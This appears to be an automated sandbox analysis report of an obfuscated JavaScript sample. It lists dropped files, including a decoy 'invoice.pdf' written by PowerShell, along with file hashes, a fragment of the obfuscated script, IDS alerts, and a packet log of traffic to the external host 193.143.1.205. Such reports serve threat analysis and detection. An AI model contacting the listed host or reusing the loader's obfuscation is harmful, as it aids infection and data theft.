MD5:	BEDCEE61A71BC6FF9EB9B7B8592C02DE
SHA1:	9E9B522F558FF324975C0E52E9BE139679B4BD63
SHA-256:	7CCAF878F3EAA75FC3D8DF4F7A3170868991DDEFF72C66BEACF850E3924F0BF9
SHA-512:	162F27C0D30398D1209FD6D65102E84EF93EC891011C7125A1001F3DB1AEE02D610B087D3E823FCFCB02F7CF2C25877C98AACE41B09B4A13763C8A8F21726E64
Malicious:	false
Preview:	05-10-2023 08:41:17:.---2---..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : *************************************..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : ***********************************..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : **** Starting new session ******..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : Starting NGL..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : Setting synchronous launch...05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 ::::: Configuring as AcrobatReader1..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : NGLAppVersion 23.6.20320.6..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : NGLAppMode NGL_INIT..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : AcroCEFPath, NGLCEFWorkflowModulePath - C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1 C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : isNGLExternalBrowserDisabled - No..05-10-2023 08:41:17:.Closing File..05-10-

C:\Users\user\AppData\Local\Temp\acrocef_low\4d2d5476-8d5e-485a-9377-765764ffb2aa.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 299538
Category:	dropped
Size (bytes):	758601
Entropy (8bit):	7.98639316555857
Encrypted:	false
SSDEEP:	12288:ONh3P65+Tegs6121YSWBlkipdjuv1ybxrr/IxkB1mabFhOXZ/fEa+vTJJJJv+9U0:O3Pjegf121YS8lkipdjMMNB1DofjgJJg
MD5:	3A49135134665364308390AC398006F1
SHA1:	28EF4CE5690BF8A9E048AF7D30688120DAC6F126
SHA-256:	D1858851B2DC86BA23C0710FE8526292F0F69E100CEBFA7F260890BD41F5F42B
SHA-512:	BE2C3C39CA57425B28DC36E669DA33B5FF6C7184509756B62832B5E2BFBCE46C9E62EAA88274187F7EE45474DCA98CD8084257EA2EBE6AB36932E28B857743E5
Malicious:	false
Preview:	...........kWT..0...W`.........b..@..nn........5.._..I.R3I..9g.x....s.\+.J......F...P......V]u......t....jK...C.fD..]..K....;......y._.U..}......S.........7...Q.............W.D..S.....y......%..=.....e..^.RG......L..].T.9.y.zqm.Q]..y..(......Q]..~~..}..q...@.T..xI.B.L.a.6...{..W..}.mK?u...5.#.{...n...........z....m^.6!.`.....u...eFa........N....o..hA-..s.N..B.q..{..z.{=..va4_`5Z........3.uG.n...+...t...z.M."2..x.-...DF..VtK.....o]b.Fp.>........c....,..t..an[............5.1.(}..q.q......K3.....[>..;e..f.Y.........mV.cL...]eF..7.e.<.._.o\.S..Z...`..}......>@......\|.......ox.........h.......o....-Yj=.s.g.Cc\.i..\..A.B>.X..8`...P......[..O...-.g...r..u\...k..7..#E....N}...8.....(..0....w....j.......>.L....H.....y.x3...[>..t......0..z.qw..]X..i8..w.b..?0.wp..XH.A.[.....S..g.g..I.A.15.0?._n.Q.]..r8.....l..18...(.].m...!\|G.1...... .3.`./....`~......G.............\|..pS.e.C....:o.u_..oi.:..\|....joi...eM.m.K...2%...Z..j...VUh..9.}.....

C:\Users\user\AppData\Local\Temp\acrocef_low\8cd923d1-724f-4eaf-817c-04666a72deef.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1311022
Category:	dropped
Size (bytes):	386528
Entropy (8bit):	7.9736851559892425
Encrypted:	false
SSDEEP:	6144:8OSTJJJJEQ6T9UkRm1lBgI81ReWQ53+sQ36X/FLYVbxrr/IxktOQZ1mau4yBwsOo:sTJJJJv+9UZX+Tegs661ybxrr/IxkB1m
MD5:	5C48B0AD2FEF800949466AE872E1F1E2
SHA1:	337D617AE142815EDDACB48484628C1F16692A2F
SHA-256:	F40E3C96D4ED2F7A299027B37B2C0C03EAEEE22CF79C6B300E5F23ACB1EB31FE
SHA-512:	44210CE41F6365298BFBB14F6D850E59841FF555EBA00B51C6B024A12F458E91E43FDA3FA1A10AAC857D4BA7CA6992CCD891C02678DCA33FA1F409DE08859324
Malicious:	false
Preview:	...........]s[G. Z...{....;...J$%K&..%.[..k...S....$,.`. )Z..m........a.......o..7.VfV...S..HY}Ba.<.NUVVV~W.].;qG4..b,N..#1.=1.#1..o.Fb.........IC.....Z...g_~.OO.l..g.uO...bY.,[..o.s.D<..W....w....?$4..+..%.[.?..h.w<.T.9.vM.!..h0......}..H..$[...lq,....>..K.)=..s.{.g.O...S9".....Q...#...+..)>=.....\|6......<4W.'.U.j$....+..=9...l.....S..<.\.k.'....{.1<.?..<..uk.v;.7n.!...g....."P..4.U........c.KC..w._G..u..g./.g....{'^.-\|..h#.g.\.PO.\|...]x..Kf4..s..............+.Y.....@.K....zI..X......6e?[..u.g"{..h.vKbM<.?i6{%.q)i...v..<P8P3.......CW.fwd...{:@h...;........5..@.C.j.....a.. U.5...].$.L..wW....z...v.......".M.?c.......o..}.a.9..A..%V..o.d....'..\|m.WC.....\|.....e.[W.p.8...rm....^..x'......5!...\|......z..#......X_..Gl..c..R..`...*.s-1f..]x......f...g...k........g....... ).3.B..{"4...!r....v+As...Zn.]K{.8[..M.r.Y..........+%...]...J}f]~}_..K....;.Z.[..V.&..g...>...{F..{I..@~.^.\|P..G.R>....U..../HY...(.z.<.~.9OW.Sxo.Y

C:\Users\user\AppData\Local\Temp\acrocef_low\bc076d89-faf9-464c-87cc-577a495fb3e3.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 5111142
Category:	dropped
Size (bytes):	1419751
Entropy (8bit):	7.976496077007677
Encrypted:	false
SSDEEP:	24576:/xA7owWLaGZDwYIGNPJodpy6mlind9j2kvhsfFXpAXDgrFBU2/R07D:JVwWLaGZDwZGk3mlind9i4ufFXpAXkru
MD5:	18E3D04537AF72FDBEB3760B2D10C80E
SHA1:	B313CD0B25E41E5CF0DFB83B33AB3E3C7678D5CC
SHA-256:	BBEF113A2057EE7EAC911DC960D36D4A62C262DAE5B1379257908228243BD6F4
SHA-512:	2A5B9B0A5DC98151AD2346055DF2F7BFDE62F6069A4A6A9AB3377B644D61AE31609B9FC73BEE4A0E929F84BF30DA4C1CDE628915AC37C7542FD170D12DE41298
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\cce046dc-450c-4a5e-8675-9f9d0ba0cbc5.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 647360
Category:	dropped
Size (bytes):	1407294
Entropy (8bit):	7.97605879016224
Encrypted:	false
SSDEEP:	24576:/xTtwYIGNPtdpy6mlind9j2kvhsfFXpAXDgrFBU2/R07WWL07oYGZd:JhwZGD3mlind9i4ufFXpAXkrfUs0qWLH
MD5:	C3E9FF91A256A802EF9C96B23DFDA9D7
SHA1:	F7DCA9101859A16979774DC4FFDF3DD0A0D6462F
SHA-256:	281E897BF795DE9F51395B924BC7D93C9973C8EC5B95AB3F521E6A7E60C773C3
SHA-512:	E699AB529002B52F73B305667445E038684E62843151586114C09A472F912CB89E8FDA15302FCBC2BF840FB490C951692DA284C6E80245CCA9926680A0757A66
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\invoice.pdf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PDF document, version 1.7
Category:	dropped
Size (bytes):	635764
Entropy (8bit):	7.929592005409041
Encrypted:	false
SSDEEP:	12288:+ZLfaHa9wphzjERQ/JTckor+EURE+AwAX75pfGJKsKca+e7lEjYQ:+ZyjgQRRor+lRJAwAXlpoKgQ76jYQ
MD5:	91A2AF9E2A61ABF7D9977999FBF9879E
SHA1:	F6E4FA02DD15B27F74553FB1B220A4D2DF385267
SHA-256:	FC3518D746CDB3738DA976551795B9727619F41F89AC0641533126E2F69B969A
SHA-512:	8B27CC0E0E902ABB59735FF4FC67789C0F0F9A1BF3F619A7AFAEAAA13A9AFCF9C82F25596719A65EC15221EBAE16EF9701CDB48F372BBF1BE08CB568DBE41D7C
Malicious:	false
Preview:	%PDF-1.7.%.....1 0 obj.<< /Pages 3 0 R /Type /Catalog >>.endobj.2 0 obj.<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>.stream.x.3V0.Q.w./.+Q0T...L)V.V0Q0P.R.U...,HU..HLO-V.....%0.mendstream.endobj.4 0 obj.<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>.endobj.5 0 obj.<< /Filter /FlateDecode /Length 75 >>.stream.x.3T0.B]C aab.gi....U.e...E........\ E..&@yC.:.l.B.W.B!P9D..~...K>W ...&...endstream.endobj.6 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>.endobj.7 0 obj.<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>.stream.x.+..T(..O/6PH/.*.2.4.4S0.B]......H...O..S.04Tp....B.....endstream.endobj.8 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>.endobj.9 0 obj.<< /BitsPerCo

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Static File Info

General

File type:	ASCII text, with very long lines (16405), with CRLF line terminators
Entropy (8bit):	4.937539237337665
TrID:
File name:	3090182781939528365.js
File size:	19'926 bytes
MD5:	2c5951505bb42467662be2f69031e07c
SHA1:	d2b25697d08bb27f30653d359df984c3046ccf4c
SHA256:	8425539e1744a88e0d208292e136181ff66c6df94d5f7c5be9ef33dfc4aac645
SHA512:	70f94ed22956d28eaf12afe54b3dd6aa0532d02dcf9866a34edfa0a6eef4d5bda2279e8d05ec477d06f18b87d4ff28ede7c175242524749e3a43123db81bd6c7
SSDEEP:	192:8mDiY7IrjWHgMf1j68fQ1zXq6iU4XcQ3lJm/yVVKUCwf/f9meeFm9DrKsGROIVjP:grjWdXQ1zP4t99sXU4
TLSH:	4E9276CB88D1FC3A8FD88CEADB5B048AA99C424D09538699E345E49437491B235F3F7D
File Content Preview:	function ncyknxce(){bgbudyxws=[1031,3079,5127,4103,2055,3072];var hjpof=this[rtrtcgp+dwiocww+nbalmjoh+bhmgho+cyilkeqy+jpohsw+qaphv+tbenaj](this[pqnpnwxe+sfjvf+wrldsl+nbalmjoh+qbcbnrcuf+rtrtcgp+tbenaj][ovgnbgb+nbalmjoh+cyilkeqy+dwiocww+tbenaj+cyilkeqy+wcls

File Icon


Icon Hash:	68d69b8bb6aa9a86

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-10T19:43:51.006834+0100	1810000	Joe Security ANOMALY Windows PowerShell HTTP activity	2	192.168.2.7	49700	193.143.1.205	80	TCP
2025-01-10T19:43:54.064756+0100	1810005	Joe Security ANOMALY Microsoft Office WebDAV Discovery	1	192.168.2.7	49702	193.143.1.205	8888	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 10, 2025 19:43:50.181381941 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 19:43:50.186297894 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:50.186393023 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 19:43:50.189344883 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 19:43:50.194286108 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.006745100 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.006772041 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.006784916 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.006797075 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.006809950 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.006820917 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.006834030 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.006834030 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 19:43:51.006846905 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.006860971 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.006871939 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.006882906 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 19:43:51.006911993 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 19:43:51.006927013 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 19:43:51.011699915 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.064770937 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 19:43:51.067724943 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.067739964 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.067790031 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 19:43:51.129014015 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.129030943 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.129049063 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.129060984 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.129075050 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.129090071 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 19:43:51.129146099 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 19:43:51.129347086 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.129394054 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 19:43:51.129403114 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.129415035 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.129426003 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.129446983 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.129456997 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 19:43:51.129493952 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 19:43:51.130187035 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.130199909 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.130215883 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.130230904 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.130244970 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 19:43:51.130245924 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.130275011 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 19:43:51.131030083 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.131048918 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.131062031 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.131073952 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.131086111 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.131109953 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 19:43:51.131140947 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 19:43:51.131835938 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.174154043 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 19:43:51.201029062 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.201049089 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.201061010 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.201073885 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.201101065 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 19:43:51.201148987 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 19:43:51.218523026 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.218538046 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.218549013 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.218589067 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 19:43:51.249471903 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.249485970 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.249497890 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.249537945 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 19:43:51.249582052 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 19:43:51.249613047 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.249634027 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.249648094 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.249660015 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.249675989 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.249677896 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 19:43:51.249701023 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 19:43:51.250193119 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.250205040 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.250216961 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.250230074 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.250238895 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 19:43:51.250243902 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.250255108 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.250262976 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.250303030 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 19:43:51.250324011 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 19:43:51.251039982 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.251051903 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.251065016 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.251090050 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 19:43:51.251104116 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.251116991 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.251130104 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.251142979 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.251157045 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 19:43:51.251266956 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 19:43:51.251857042 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.251908064 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 19:43:51.251943111 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.251954079 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.251966953 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.251979113 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.251986980 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 19:43:51.251993895 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.252006054 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.252028942 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 19:43:51.252051115 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 19:43:51.252790928 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.252887964 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.252901077 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.252913952 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.252928019 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 19:43:51.252929926 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.252945900 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.252960920 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 19:43:51.252962112 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.252984047 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 19:43:51.253591061 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.253628016 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 19:43:51.253644943 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.253657103 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.253671885 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.253699064 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 19:43:51.290734053 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.290747881 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.290760994 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.290792942 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 19:43:51.290831089 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 19:43:51.308464050 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.308491945 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.308568954 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 19:43:51.308775902 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.308789015 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.308829069 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 19:43:51.308868885 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.308907032 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.308921099 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.308953047 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 19:43:51.339309931 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.339364052 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.339647055 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 19:43:51.370807886 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.370834112 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.370850086 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.370862961 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.370872021 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.370918036 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.370925903 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 19:43:51.370925903 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 19:43:51.370939970 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.370954990 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.370958090 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 19:43:51.370966911 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.370980024 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 19:43:51.370980978 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.371006966 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 19:43:51.371490002 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.371526003 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.371562958 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.371598005 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.371599913 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 19:43:51.371639013 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 19:43:51.372000933 CET	80	49700	193.143.1.205	192.168.2.7
